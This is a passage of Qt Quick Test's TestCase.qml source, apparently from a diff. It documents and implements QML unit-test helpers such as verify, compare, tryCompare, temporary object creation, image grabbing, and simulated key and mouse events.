keyRelease(), and keyClick() methods can be used + to simulate keyboard events within unit tests. The events are + delivered to the currently focused QML item. You can pass either + a Qt.Key enum value or a latin1 char (string of length one) + + \code + Rectangle { + width: 50; height: 50 + focus: true + + TestCase { + name: "KeyClick" + when: windowShown + + function test_key_click() { + keyClick(Qt.Key_Left) + keyClick("a") + ... + } + } + } + \endcode + + The mousePress(), mouseRelease(), mouseClick(), mouseDoubleClickSequence() + and mouseMove() methods can be used to simulate mouse events in a + similar fashion. + + \b{Note:} keyboard and mouse events can only be delivered once the + main window has been shown. Attempts to deliver events before then + will fail. Use the \l when and windowShown properties to track + when the main window has been shown. + + \section1 Managing Dynamically Created Test Objects + + A typical pattern with QML tests is to + \l {Dynamic QML Object Creation from JavaScript}{dynamically create} + an item and then destroy it at the end of the test function: + + \code + TestCase { + id: testCase + name: "MyTest" + when: windowShown + + function test_click() { + var item = Qt.createQmlObject("import QtQuick 2.0; Item {}", testCase); + verify(item); + + // Test item... + + item.destroy(); + } + } + \endcode + + The problem with this pattern is that any failures in the test function + will cause the call to \c item.destroy() to be skipped, leaving the item + hanging around in the scene until the test case has finished. This can + result in interference with future tests; for example, by blocking input + events or producing unrelated debug output that makes it difficult to + follow the code's execution. + + By calling \l createTemporaryQmlObject() instead, the object is guaranteed + to be destroyed at the end of the test function: + + \code + TestCase { + id: testCase + name: "MyTest" + when: windowShown + + function test_click() { + var item = createTemporaryQmlObject("import QtQuick 2.0; Item {}", testCase); + verify(item); + + // Test item... + + // Don't need to worry about destroying "item" here. + } + } + \endcode + + For objects that are created via the \l {Component::}{createObject()} function + of \l Component, the \l createTemporaryObject() function can be used. + + \sa {QtTest::SignalSpy}{SignalSpy}, {Qt Quick Test} +*/ + + +Item { + id: testCase + visible: false + TestUtil { + id:util + } + + /*! + \qmlproperty string TestCase::name + + This property defines the name of the test case for result reporting. + The default value is an empty string. + + \code + TestCase { + name: "ButtonTests" + ... + } + \endcode + */ + property string name + + /*! + \qmlproperty bool TestCase::when + + This property should be set to true when the application wants + the test cases to run. The default value is true. In the following + example, a test is run when the user presses the mouse button: + + \code + Rectangle { + id: foo + width: 640; height: 480 + color: "cyan" + + MouseArea { + id: area + anchors.fill: parent + } + + property bool bar: true + + TestCase { + name: "ItemTests" + when: area.pressed + id: test1 + + function test_bar() { + verify(bar) + } + } + } + \endcode + + The test application will exit once all \l TestCase types + have been triggered and have run. The \l optional property can + be used to exclude a \l TestCase type. + + \sa optional, completed + */ + property bool when: true + + /*! + \qmlproperty bool TestCase::completed + + This property will be set to true once the test case has completed + execution. Test cases are only executed once. The initial value + is false. + + \sa running, when + */ + property bool completed: false + + /*! + \qmlproperty bool TestCase::running + + This property will be set to true while the test case is running. + The initial value is false, and the value will become false again + once the test case completes. + + \sa completed, when + */ + property bool running: false + + /*! + \qmlproperty bool TestCase::optional + + Multiple \l TestCase types can be supplied in a test application. + The application will exit once they have all completed. If a test case + does not need to run (because a precondition has failed), then this + property can be set to true. The default value is false. + + \code + TestCase { + when: false + optional: true + function test_not_run() { + verify(false) + } + } + \endcode + + \sa when, completed + */ + property bool optional: false + + /*! + \qmlproperty bool TestCase::windowShown + + This property will be set to true after the QML viewing window has + been displayed. Normally test cases run as soon as the test application + is loaded and before a window is displayed. If the test case involves + visual types and behaviors, then it may need to be delayed until + after the window is shown. + + \code + Button { + id: button + onClicked: text = "Clicked" + TestCase { + name: "ClickTest" + when: windowShown + function test_click() { + button.clicked(); + compare(button.text, "Clicked"); + } + } + } + \endcode + */ + property bool windowShown: QTestRootObject.windowShown + + // Internal private state. Identifiers prefixed with qtest are reserved. + /*! \internal */ + property bool qtest_prevWhen: true + /*! \internal */ + property int qtest_testId: -1 + /*! \internal */ + property bool qtest_componentCompleted : false + /*! \internal */ + property var qtest_testCaseResult + /*! \internal */ + property var qtest_results: qtest_results_normal + /*! \internal */ + TestResult { id: qtest_results_normal } + /*! \internal */ + property var qtest_events: qtest_events_normal + TestEvent { id: qtest_events_normal } + /*! \internal */ + property var qtest_temporaryObjects: [] + + /*! + \qmlmethod TestCase::fail(message = "") + + Fails the current test case, with the optional \a message. + Similar to \c{QFAIL(message)} in C++. + */ + function fail(msg) { + if (msg === undefined) + msg = ""; + qtest_results.fail(msg, util.callerFile(), util.callerLine()) + throw new Error("QtQuickTest::fail") + } + + /*! \internal */ + function qtest_fail(msg, frame) { + if (msg === undefined) + msg = ""; + qtest_results.fail(msg, util.callerFile(frame), util.callerLine(frame)) + throw new Error("QtQuickTest::fail") + } + + /*! + \qmlmethod TestCase::verify(condition, message = "") + + Fails the current test case if \a condition is false, and + displays the optional \a message. Similar to \c{QVERIFY(condition)} + or \c{QVERIFY2(condition, message)} in C++. + */ + function verify(cond, msg) { + if (arguments.length > 2) + qtest_fail("More than two arguments given to verify(). Did you mean tryVerify() or tryCompare()?", 1) + + if (msg === undefined) + msg = ""; + if (!qtest_results.verify(cond, msg, util.callerFile(), util.callerLine())) + throw new Error("QtQuickTest::fail") + } + + /*! + \since 5.8 + \qmlmethod TestCase::tryVerify(function, timeout = 5000, message = "") + + Fails the current test case if \a function does not evaluate to + \c true before the specified \a timeout (in milliseconds) has elapsed. + The function is evaluated multiple times until the timeout is + reached. An optional \a message is displayed upon failure. + + This function is intended for testing applications where a condition + changes based on asynchronous events. Use verify() for testing + synchronous condition changes, and tryCompare() for testing + asynchronous property changes. + + For example, in the code below, it's not possible to use tryCompare(), + because the \c currentItem property might be \c null for a short period + of time: + + \code + tryCompare(listView.currentItem, "text", "Hello"); + \endcode + + Instead, we can use tryVerify() to first check that \c currentItem + isn't \c null, and then use a regular compare afterwards: + + \code + tryVerify(function(){ return listView.currentItem }) + compare(listView.currentItem.text, "Hello") + \endcode + + \sa verify(), compare(), tryCompare(), SignalSpy::wait() + */ + function tryVerify(expressionFunction, timeout, msg) { + if (!expressionFunction || !(expressionFunction instanceof Function)) { + qtest_results.fail("First argument must be a function", util.callerFile(), util.callerLine()) + throw new Error("QtQuickTest::fail") + } + + if (timeout && typeof(timeout) !== "number") { + qtest_results.fail("timeout argument must be a number", util.callerFile(), util.callerLine()) + throw new Error("QtQuickTest::fail") + } + + if (msg && typeof(msg) !== "string") { + qtest_results.fail("message argument must be a string", util.callerFile(), util.callerLine()) + throw new Error("QtQuickTest::fail") + } + + if (!timeout) + timeout = 5000 + + if (msg === undefined) + msg = "function returned false" + + if (!expressionFunction()) + wait(0) + + var i = 0 + while (i < timeout && !expressionFunction()) { + wait(50) + i += 50 + } + + if (!qtest_results.verify(expressionFunction(), msg, util.callerFile(), util.callerLine())) + throw new Error("QtQuickTest::fail") + } + + /*! + \since 5.13 + \qmlmethod bool TestCase::isPolishScheduled(object item) + + Returns \c true if \l {QQuickItem::}{updatePolish()} has not been called + on \a item since the last call to \l {QQuickItem::}{polish()}, + otherwise returns \c false. + + When assigning values to properties in QML, any layouting the item + must do as a result of the assignment might not take effect immediately, + but can instead be postponed until the item is polished. For these cases, + you can use this function to ensure that the item has been polished + before the execution of the test continues. For example: + + \code + verify(isPolishScheduled(item)) + verify(waitForItemPolished(item)) + \endcode + + Without the call to \c isPolishScheduled() above, the + call to \c waitForItemPolished() might see that no polish + was scheduled and therefore pass instantly, assuming that + the item had already been polished. This function + makes it obvious why an item wasn't polished and allows tests to + fail early under such circumstances. + + \sa waitForItemPolished(), QQuickItem::polish(), QQuickItem::updatePolish() + */ + function isPolishScheduled(item) { + if (!item || typeof item !== "object") { + qtest_results.fail("Argument must be a valid Item; actual type is " + typeof item, + util.callerFile(), util.callerLine()) + throw new Error("QtQuickTest::fail") + } + + return qtest_results.isPolishScheduled(item) + } + + /*! + \since 5.13 + \qmlmethod bool waitForItemPolished(object item, int timeout = 5000) + + Waits for \a timeout milliseconds or until + \l {QQuickItem::}{updatePolish()} has been called on \a item. + + Returns \c true if \c updatePolish() was called on \a item within + \a timeout milliseconds, otherwise returns \c false. + + \sa isPolishScheduled(), QQuickItem::polish(), QQuickItem::updatePolish() + */ + function waitForItemPolished(item, timeout) { + if (!item || typeof item !== "object") { + qtest_results.fail("First argument must be a valid Item; actual type is " + typeof item, + util.callerFile(), util.callerLine()) + throw new Error("QtQuickTest::fail") + } + + if (timeout !== undefined && typeof(timeout) != "number") { + qtest_results.fail("Second argument must be a number; actual type is " + typeof timeout, + util.callerFile(), util.callerLine()) + throw new Error("QtQuickTest::fail") + } + + if (!timeout) + timeout = 5000 + + return qtest_results.waitForItemPolished(item, timeout) + } + + /*! + \since 5.9 + \qmlmethod object TestCase::createTemporaryQmlObject(string qml, object parent, string filePath) + + This function dynamically creates a QML object from the given \a qml + string with the specified \a parent. The returned object will be + destroyed (if it was not already) after \l cleanup() has finished + executing, meaning that objects created with this function are + guaranteed to be destroyed after each test, regardless of whether or + not the tests fail. + + If there was an error while creating the object, \c null will be + returned. + + If \a filePath is specified, it will be used for error reporting for + the created object. + + This function calls + \l {QtQml::Qt::createQmlObject()}{Qt.createQmlObject()} internally. + + \sa {Managing Dynamically Created Test Objects} + */ + function createTemporaryQmlObject(qml, parent, filePath) { + if (typeof qml !== "string") { + qtest_results.fail("First argument must be a string of QML; actual type is " + typeof qml, + util.callerFile(), util.callerLine()); + throw new Error("QtQuickTest::fail"); + } + + if (!parent || typeof parent !== "object") { + qtest_results.fail("Second argument must be a valid parent object; actual type is " + typeof parent, + util.callerFile(), util.callerLine()); + throw new Error("QtQuickTest::fail"); + } + + if (filePath !== undefined && typeof filePath !== "string") { + qtest_results.fail("Third argument must be a file path string; actual type is " + typeof filePath, + util.callerFile(), util.callerLine()); + throw new Error("QtQuickTest::fail"); + } + + var object = Qt.createQmlObject(qml, parent, filePath); + qtest_temporaryObjects.push(object); + return object; + } + + /*! + \since 5.9 + \qmlmethod object TestCase::createTemporaryObject(Component component, object parent, object properties) + + This function dynamically creates a QML object from the given + \a component with the specified optional \a parent and \a properties. + The returned object will be destroyed (if it was not already) after + \l cleanup() has finished executing, meaning that objects created with + this function are guaranteed to be destroyed after each test, + regardless of whether or not the tests fail. + + If there was an error while creating the object, \c null will be + returned. + + This function calls + \l {QtQml::Component::createObject()}{component.createObject()} + internally. + + \sa {Managing Dynamically Created Test Objects} + */ + function createTemporaryObject(component, parent, properties) { + if (typeof component !== "object") { + qtest_results.fail("First argument must be a Component; actual type is " + typeof component, + util.callerFile(), util.callerLine()); + throw new Error("QtQuickTest::fail"); + } + + if (properties && typeof properties !== "object") { + qtest_results.fail("Third argument must be an object; actual type is " + typeof properties, + util.callerFile(), util.callerLine()); + throw new Error("QtQuickTest::fail"); + } + + var object = component.createObject(parent, properties ? properties : ({})); + qtest_temporaryObjects.push(object); + return object; + } + + /*! + \internal + + Destroys all temporary objects that still exist. + */ + function qtest_destroyTemporaryObjects() { + for (var i = 0; i < qtest_temporaryObjects.length; ++i) { + var temporaryObject = qtest_temporaryObjects[i]; + // ### the typeof check can be removed when QTBUG-57749 is fixed + if (temporaryObject && typeof temporaryObject.destroy === "function") + temporaryObject.destroy(); + } + qtest_temporaryObjects = []; + } + + /*! \internal */ + // Determine what is o. + // Discussions and reference: http://philrathe.com/articles/equiv + // Test suites: http://philrathe.com/tests/equiv + // Author: Philippe Rathé + function qtest_typeof(o) { + if (typeof o === "undefined") { + return "undefined"; + + // consider: typeof null === object + } else if (o === null) { + return "null"; + + } else if (o.constructor === String) { + return "string"; + + } else if (o.constructor === Boolean) { + return "boolean"; + + } else if (o.constructor === Number) { + + if (isNaN(o)) { + return "nan"; + } else { + return "number"; + } + // consider: typeof [] === object + } else if (o instanceof Array) { + return "array"; + + // consider: typeof new Date() === object + } else if (o instanceof Date) { + return "date"; + + // consider: /./ instanceof Object; + // /./ instanceof RegExp; + // typeof /./ === "function"; // => false in IE and Opera, + // true in FF and Safari + } else if (o instanceof RegExp) { + return "regexp"; + + } else if (typeof o === "object") { + if ("mapFromItem" in o && "mapToItem" in o) { + return "declarativeitem"; // @todo improve detection of declarative items + } else if ("x" in o && "y" in o && "z" in o) { + return "vector3d"; // Qt 3D vector + } + return "object"; + } else if (o instanceof Function) { + return "function"; + } else { + return undefined; + } + } + + /*! \internal */ + // Test for equality + // Large parts contain sources from QUnit or http://philrathe.com + // Discussions and reference: http://philrathe.com/articles/equiv + // Test suites: http://philrathe.com/tests/equiv + // Author: Philippe Rathé + function qtest_compareInternal(act, exp) { + var success = false; + if (act === exp) { + success = true; // catch the most you can + } else if (act === null || exp === null || typeof act === "undefined" || typeof exp === "undefined") { + success = false; // don't lose time with error prone cases + } else { + var typeExp = qtest_typeof(exp), typeAct = qtest_typeof(act) + if (typeExp !== typeAct) { + // allow object vs string comparison (e.g. for colors) + // else break on different types + if ((typeExp === "string" && (typeAct === "object") || typeAct == "declarativeitem") + || ((typeExp === "object" || typeExp == "declarativeitem") && typeAct === "string")) { + success = (act == exp) + } + } else if (typeExp === "string" || typeExp === "boolean" || + typeExp === "null" || typeExp === "undefined") { + if (exp instanceof act.constructor || act instanceof exp.constructor) { + // to catch short annotaion VS 'new' annotation of act declaration + // e.g. var i = 1; + // var j = new Number(1); + success = (act == exp) + } else { + success = (act === exp) + } + } else if (typeExp === "nan") { + success = isNaN(act); + } else if (typeExp === "number") { + // Use act fuzzy compare if the two values are floats + if (Math.abs(act - exp) <= 0.00001) { + success = true + } + } else if (typeExp === "array") { + success = qtest_compareInternalArrays(act, exp) + } else if (typeExp === "object") { + success = qtest_compareInternalObjects(act, exp) + } else if (typeExp === "declarativeitem") { + success = qtest_compareInternalObjects(act, exp) // @todo improve comparison of declarative items + } else if (typeExp === "vector3d") { + success = (Math.abs(act.x - exp.x) <= 0.00001 && + Math.abs(act.y - exp.y) <= 0.00001 && + Math.abs(act.z - exp.z) <= 0.00001) + } else if (typeExp === "date") { + success = (act.valueOf() === exp.valueOf()) + } else if (typeExp === "regexp") { + success = (act.source === exp.source && // the regex itself + act.global === exp.global && // and its modifers (gmi) ... + act.ignoreCase === exp.ignoreCase && + act.multiline === exp.multiline) + } + } + return success + } + + /*! \internal */ + function qtest_compareInternalObjects(act, exp) { + var i; + var eq = true; // unless we can proove it + var aProperties = [], bProperties = []; // collection of strings + + // comparing constructors is more strict than using instanceof + if (act.constructor !== exp.constructor) { + return false; + } + + for (i in act) { // be strict: don't ensures hasOwnProperty and go deep + aProperties.push(i); // collect act's properties + if (!qtest_compareInternal(act[i], exp[i])) { + eq = false; + break; + } + } + + for (i in exp) { + bProperties.push(i); // collect exp's properties + } + + if (aProperties.length == 0 && bProperties.length == 0) { // at least a special case for QUrl + return eq && (JSON.stringify(act) == JSON.stringify(exp)); + } + + // Ensures identical properties name + return eq && qtest_compareInternal(aProperties.sort(), bProperties.sort()); + + } + + /*! \internal */ + function qtest_compareInternalArrays(actual, expected) { + if (actual.length != expected.length) { + return false + } + + for (var i = 0, len = actual.length; i < len; i++) { + if (!qtest_compareInternal(actual[i], expected[i])) { + return false + } + } + + return true + } + + /*! + \qmlmethod TestCase::compare(actual, expected, message = "") + + Fails the current test case if \a actual is not the same as + \a expected, and displays the optional \a message. Similar + to \c{QCOMPARE(actual, expected)} in C++. + + \sa tryCompare(), fuzzyCompare + */ + function compare(actual, expected, msg) { + var act = qtest_results.stringify(actual) + var exp = qtest_results.stringify(expected) + + var success = qtest_compareInternal(actual, expected) + if (msg === undefined) { + if (success) + msg = "COMPARE()" + else + msg = "Compared values are not the same" + } + if (!qtest_results.compare(success, msg, act, exp, util.callerFile(), util.callerLine())) { + throw new Error("QtQuickTest::fail") + } + } + + /*! + \qmlmethod TestCase::fuzzyCompare(actual, expected, delta, message = "") + + Fails the current test case if the difference betwen \a actual and \a expected + is greater than \a delta, and displays the optional \a message. Similar + to \c{qFuzzyCompare(actual, expected)} in C++ but with a required \a delta value. + + This function can also be used for color comparisons if both the \a actual and + \a expected values can be converted into color values. If any of the differences + for RGBA channel values are greater than \a delta, the test fails. + + \sa tryCompare(), compare() + */ + function fuzzyCompare(actual, expected, delta, msg) { + if (delta === undefined) + qtest_fail("A delta value is required for fuzzyCompare", 2) + + var success = qtest_results.fuzzyCompare(actual, expected, delta) + if (msg === undefined) { + if (success) + msg = "FUZZYCOMPARE()" + else + msg = "Compared values are not the same with delta(" + delta + ")" + } + + if (!qtest_results.compare(success, msg, actual, expected, util.callerFile(), util.callerLine())) { + throw new Error("QtQuickTest::fail") + } + } + + /*! + \qmlmethod object TestCase::grabImage(item) + + Returns a snapshot image object of the given \a item. + + The returned image object has the following properties: + \list + \li width Returns the width of the underlying image (since 5.10) + \li height Returns the height of the underlying image (since 5.10) + \li size Returns the size of the underlying image (since 5.10) + \endlist + + Additionally, the returned image object has the following methods: + \list + \li \c {red(x, y)} Returns the red channel value of the pixel at \e x, \e y position + \li \c {green(x, y)} Returns the green channel value of the pixel at \e x, \e y position + \li \c {blue(x, y)} Returns the blue channel value of the pixel at \e x, \e y position + \li \c {alpha(x, y)} Returns the alpha channel value of the pixel at \e x, \e y position + \li \c {pixel(x, y)} Returns the color value of the pixel at \e x, \e y position + \li \c {equals(image)} Returns \c true if this image is identical to \e image - + see \l QImage::operator== (since 5.6) + + For example: + + \code + var image = grabImage(rect); + compare(image.red(10, 10), 255); + compare(image.pixel(20, 20), Qt.rgba(255, 0, 0, 255)); + + rect.width += 10; + var newImage = grabImage(rect); + verify(!newImage.equals(image)); + \endcode + + \li \c {save(path)} Saves the image to the given \e path. If the image cannot + be saved, an exception will be thrown. (since 5.10) + + This can be useful to perform postmortem analysis on failing tests, for + example: + + \code + var image = grabImage(rect); + try { + compare(image.width, 100); + } catch (ex) { + image.save("debug.png"); + throw ex; + } + \endcode + + \endlist + */ + function grabImage(item) { + return qtest_results.grabImage(item); + } + + /*! + \since 5.4 + \qmlmethod QtObject TestCase::findChild(parent, objectName) + + Returns the first child of \a parent with \a objectName, or \c null if + no such item exists. Both visual and non-visual children are searched + recursively, with visual children being searched first. + + \code + compare(findChild(item, "childObject"), expectedChildObject); + \endcode + */ + function findChild(parent, objectName) { + // First, search the visual item hierarchy. + var child = qtest_findVisualChild(parent, objectName); + if (child) + return child; + + // If it's not a visual child, it might be a QObject child. + return qtest_results.findChild(parent, objectName); + } + + /*! \internal */ + function qtest_findVisualChild(parent, objectName) { + if (!parent || parent.children === undefined) + return null; + + for (var i = 0; i < parent.children.length; ++i) { + // Is this direct child of ours the child we're after? + var child = parent.children[i]; + if (child.objectName === objectName) + return child; + } + + for (i = 0; i < parent.children.length; ++i) { + // Try the direct child's children. + child = qtest_findVisualChild(parent.children[i], objectName); + if (child) + return child; + } + return null; + } + + /*! + \qmlmethod TestCase::tryCompare(obj, property, expected, timeout = 5000, message = "") + + Fails the current test case if the specified \a property on \a obj + is not the same as \a expected, and displays the optional \a message. + The test will be retried multiple times until the + \a timeout (in milliseconds) is reached. + + This function is intended for testing applications where a property + changes value based on asynchronous events. Use compare() for testing + synchronous property changes. + + \code + tryCompare(img, "status", BorderImage.Ready) + compare(img.width, 120) + compare(img.height, 120) + compare(img.horizontalTileMode, BorderImage.Stretch) + compare(img.verticalTileMode, BorderImage.Stretch) + \endcode + + SignalSpy::wait() provides an alternative method to wait for a + signal to be emitted. + + \sa compare(), SignalSpy::wait() + */ + function tryCompare(obj, prop, value, timeout, msg) { + if (arguments.length == 1 || (typeof(prop) != "string" && typeof(prop) != "number")) { + qtest_results.fail("A property name as string or index is required for tryCompare", + util.callerFile(), util.callerLine()) + throw new Error("QtQuickTest::fail") + } + if (arguments.length == 2) { + qtest_results.fail("A value is required for tryCompare", + util.callerFile(), util.callerLine()) + throw new Error("QtQuickTest::fail") + } + if (timeout !== undefined && typeof(timeout) != "number") { + qtest_results.fail("timeout should be a number", + util.callerFile(), util.callerLine()) + throw new Error("QtQuickTest::fail") + } + if (!timeout) + timeout = 5000 + if (msg === undefined) + msg = "property " + prop + if (!qtest_compareInternal(obj[prop], value)) + wait(0) + var i = 0 + while (i < timeout && !qtest_compareInternal(obj[prop], value)) { + wait(50) + i += 50 + } + var actual = obj[prop] + var act = qtest_results.stringify(actual) + var exp = qtest_results.stringify(value) + var success = qtest_compareInternal(actual, value) + if (!qtest_results.compare(success, msg, act, exp, util.callerFile(), util.callerLine())) + throw new Error("QtQuickTest::fail") + } + + /*! + \qmlmethod TestCase::skip(message = "") + + Skips the current test case and prints the optional \a message. + If this is a data-driven test, then only the current row is skipped. + Similar to \c{QSKIP(message)} in C++. + */ + function skip(msg) { + if (msg === undefined) + msg = "" + qtest_results.skip(msg, util.callerFile(), util.callerLine()) + throw new Error("QtQuickTest::skip") + } + + /*! + \qmlmethod TestCase::expectFail(tag, message) + + In a data-driven test, marks the row associated with \a tag as + expected to fail. When the fail occurs, display the \a message, + abort the test, and mark the test as passing. Similar to + \c{QEXPECT_FAIL(tag, message, Abort)} in C++. + + If the test is not data-driven, then \a tag must be set to + an empty string. + + \sa expectFailContinue() + */ + function expectFail(tag, msg) { + if (tag === undefined) { + warn("tag argument missing from expectFail()") + tag = "" + } + if (msg === undefined) { + warn("message argument missing from expectFail()") + msg = "" + } + if (!qtest_results.expectFail(tag, msg, util.callerFile(), util.callerLine())) + throw new Error("QtQuickTest::expectFail") + } + + /*! + \qmlmethod TestCase::expectFailContinue(tag, message) + + In a data-driven test, marks the row associated with \a tag as + expected to fail. When the fail occurs, display the \a message, + and then continue the test. Similar to + \c{QEXPECT_FAIL(tag, message, Continue)} in C++. + + If the test is not data-driven, then \a tag must be set to + an empty string. + + \sa expectFail() + */ + function expectFailContinue(tag, msg) { + if (tag === undefined) { + warn("tag argument missing from expectFailContinue()") + tag = "" + } + if (msg === undefined) { + warn("message argument missing from expectFailContinue()") + msg = "" + } + if (!qtest_results.expectFailContinue(tag, msg, util.callerFile(), util.callerLine())) + throw new Error("QtQuickTest::expectFail") + } + + /*! + \qmlmethod TestCase::warn(message) + + Prints \a message as a warning message. Similar to + \c{QWARN(message)} in C++. + + \sa ignoreWarning() + */ + function warn(msg) { + if (msg === undefined) + msg = "" + qtest_results.warn(msg, util.callerFile(), util.callerLine()); + } + + /*! + \qmlmethod TestCase::ignoreWarning(message) + + Marks \a message as an ignored warning message. When it occurs, + the warning will not be printed and the test passes. If the message + does not occur, then the test will fail. Similar to + \c{QTest::ignoreMessage(QtWarningMsg, message)} in C++. + + Since Qt 5.12, \a message can be either a string, or a regular + expression providing a pattern of messages to ignore. + + For example, the following snippet will ignore a string warning message: + \qml + ignoreWarning("Something sort of bad happened") + \endqml + + And the following snippet will ignore a regular expression matching a + number of possible warning messages: + \qml + ignoreWarning(new RegExp("[0-9]+ bad things happened")) + \endqml + + \note Despite being a JavaScript RegExp object, it will not be + interpreted as such; instead, the pattern will be passed to + \l QRegularExpression. + + \sa warn() + */ + function ignoreWarning(msg) { + if (msg === undefined) + msg = "" + qtest_results.ignoreWarning(msg) + } + + /*! + \qmlmethod TestCase::wait(ms) + + Waits for \a ms milliseconds while processing Qt events. + + \sa sleep(), waitForRendering() + */ + function wait(ms) { + qtest_results.wait(ms) + } + + /*! + \qmlmethod TestCase::waitForRendering(item, timeout = 5000) + + Waits for \a timeout milliseconds or until the \a item is rendered by the renderer. + Returns true if \c item is rendered in \a timeout milliseconds, otherwise returns false. + The default \a timeout value is 5000. + + \sa sleep(), wait() + */ + function waitForRendering(item, timeout) { + if (timeout === undefined) + timeout = 5000 + if (!qtest_verifyItem(item, "waitForRendering")) + return + return qtest_results.waitForRendering(item, timeout) + } + + /*! + \qmlmethod TestCase::sleep(ms) + + Sleeps for \a ms milliseconds without processing Qt events. + + \sa wait(), waitForRendering() + */ + function sleep(ms) { + qtest_results.sleep(ms) + } + + /*! + \qmlmethod TestCase::keyPress(key, modifiers = Qt.NoModifier, delay = -1) + + Simulates pressing a \a key with optional \a modifiers on the currently + focused item. If \a delay is larger than 0, the test will wait for + \a delay milliseconds. + + The event will be sent to the TestCase window or, in case of multiple windows, + to the current active window. See \l QGuiApplication::focusWindow() for more details. + + \b{Note:} At some point you should release the key using keyRelease(). + + \sa keyRelease(), keyClick() + */ + function keyPress(key, modifiers, delay) { + if (modifiers === undefined) + modifiers = Qt.NoModifier + if (delay == undefined) + delay = -1 + if (typeof(key) == "string" && key.length == 1) { + if (!qtest_events.keyPressChar(key, modifiers, delay)) + qtest_fail("window not shown", 2) + } else { + if (!qtest_events.keyPress(key, modifiers, delay)) + qtest_fail("window not shown", 2) + } + } + + /*! + \qmlmethod TestCase::keyRelease(key, modifiers = Qt.NoModifier, delay = -1) + + Simulates releasing a \a key with optional \a modifiers on the currently + focused item. If \a delay is larger than 0, the test will wait for + \a delay milliseconds. + + The event will be sent to the TestCase window or, in case of multiple windows, + to the current active window. See \l QGuiApplication::focusWindow() for more details. + + \sa keyPress(), keyClick() + */ + function keyRelease(key, modifiers, delay) { + if (modifiers === undefined) + modifiers = Qt.NoModifier + if (delay == undefined) + delay = -1 + if (typeof(key) == "string" && key.length == 1) { + if (!qtest_events.keyReleaseChar(key, modifiers, delay)) + qtest_fail("window not shown", 2) + } else { + if (!qtest_events.keyRelease(key, modifiers, delay)) + qtest_fail("window not shown", 2) + } + } + + /*! + \qmlmethod TestCase::keyClick(key, modifiers = Qt.NoModifier, delay = -1) + + Simulates clicking of \a key with optional \a modifiers on the currently + focused item. If \a delay is larger than 0, the test will wait for + \a delay milliseconds. + + The event will be sent to the TestCase window or, in case of multiple windows, + to the current active window. See \l QGuiApplication::focusWindow() for more details. + + \sa keyPress(), keyRelease() + */ + function keyClick(key, modifiers, delay) { + if (modifiers === undefined) + modifiers = Qt.NoModifier + if (delay == undefined) + delay = -1 + if (typeof(key) == "string" && key.length == 1) { + if (!qtest_events.keyClickChar(key, modifiers, delay)) + qtest_fail("window not shown", 2) + } else { + if (!qtest_events.keyClick(key, modifiers, delay)) + qtest_fail("window not shown", 2) + } + } + + /*! + \since 5.10 + \qmlmethod TestCase::keySequence(keySequence) + + Simulates typing of \a keySequence. The key sequence can be set + to one of the \l{QKeySequence::StandardKey}{standard keyboard shortcuts}, or + it can be described with a string containing a sequence of up to four key + presses. + + Each event shall be sent to the TestCase window or, in case of multiple windows, + to the current active window. See \l QGuiApplication::focusWindow() for more details. + + \sa keyPress(), keyRelease(), {GNU Emacs Style Key Sequences}, + {QtQuick::Shortcut::sequence}{Shortcut.sequence} + */ + function keySequence(keySequence) { + if (!qtest_events.keySequence(keySequence)) + qtest_fail("window not shown", 2) + } + + /*! + \qmlmethod TestCase::mousePress(item, x = item.width / 2, y = item.height / 2, button = Qt.LeftButton, modifiers = Qt.NoModifier, delay = -1) + + Simulates pressing a mouse \a button with optional \a modifiers + on an \a item. The position is defined by \a x and \a y. + If \a x or \a y are not defined the position will be the center of \a item. + If \a delay is specified, the test will wait for the specified amount of + milliseconds before the press. + + The position given by \a x and \a y is transformed from the co-ordinate + system of \a item into window co-ordinates and then delivered. + If \a item is obscured by another item, or a child of \a item occupies + that position, then the event will be delivered to the other item instead. + + \sa mouseRelease(), mouseClick(), mouseDoubleClickSequence(), mouseMove(), mouseDrag(), mouseWheel() + */ + function mousePress(item, x, y, button, modifiers, delay) { + if (!qtest_verifyItem(item, "mousePress")) + return + + if (button === undefined) + button = Qt.LeftButton + if (modifiers === undefined) + modifiers = Qt.NoModifier + if (delay == undefined) + delay = -1 + if (x === undefined) + x = item.width / 2 + if (y === undefined) + y = item.height / 2 + if (!qtest_events.mousePress(item, x, y, button, modifiers, delay)) + qtest_fail("window not shown", 2) + } + + /*! + \qmlmethod TestCase::mouseRelease(item, x = item.width / 2, y = item.height / 2, button = Qt.LeftButton, modifiers = Qt.NoModifier, delay = -1) + + Simulates releasing a mouse \a button with optional \a modifiers + on an \a item. The position of the release is defined by \a x and \a y. + If \a x or \a y are not defined the position will be the center of \a item. + If \a delay is specified, the test will wait for the specified amount of + milliseconds before releasing the button. + + The position given by \a x and \a y is transformed from the co-ordinate + system of \a item into window co-ordinates and then delivered. + If \a item is obscured by another item, or a child of \a item occupies + that position, then the event will be delivered to the other item instead. + + \sa mousePress(), mouseClick(), mouseDoubleClickSequence(), mouseMove(), mouseDrag(), mouseWheel() + */ + function mouseRelease(item, x, y, button, modifiers, delay) { + if (!qtest_verifyItem(item, "mouseRelease")) + return + + if (button === undefined) + button = Qt.LeftButton + if (modifiers === undefined) + modifiers = Qt.NoModifier + if (delay == undefined) + delay = -1 + if (x === undefined) + x = item.width / 2 + if (y === undefined) + y = item.height / 2 + if (!qtest_events.mouseRelease(item, x, y, button, modifiers, delay)) + qtest_fail("window not shown", 2) + } + + /*! + \qmlmethod TestCase::mouseDrag(item, x, y, dx, dy, button = Qt.LeftButton, modifiers = Qt.NoModifier, delay = -1) + + Simulates dragging the mouse on an \a item with \a button pressed and optional \a modifiers + The initial drag position is defined by \a x and \a y, + and drag distance is defined by \a dx and \a dy. If \a delay is specified, + the test will wait for the specified amount of milliseconds before releasing the button. + + The position given by \a x and \a y is transformed from the co-ordinate + system of \a item into window co-ordinates and then delivered. + If \a item is obscured by another item, or a child of \a item occupies + that position, then the event will be delivered to the other item instead. + + \sa mousePress(), mouseClick(), mouseDoubleClickSequence(), mouseMove(), mouseRelease(), mouseWheel() + */ + function mouseDrag(item, x, y, dx, dy, button, modifiers, delay) { + if (!qtest_verifyItem(item, "mouseDrag")) + return + + if (item.x === undefined || item.y === undefined) + return + if (button === undefined) + button = Qt.LeftButton + if (modifiers === undefined) + modifiers = Qt.NoModifier + if (delay == undefined) + delay = -1 + var moveDelay = Math.max(1, delay === -1 ? qtest_events.defaultMouseDelay : delay) + + // Divide dx and dy to have intermediate mouseMove while dragging + // Fractions of dx/dy need be superior to the dragThreshold + // to make the drag works though + var intermediateDx = Math.round(dx/3) + if (Math.abs(intermediateDx) < (util.dragThreshold + 1)) + intermediateDx = 0 + var intermediateDy = Math.round(dy/3) + if 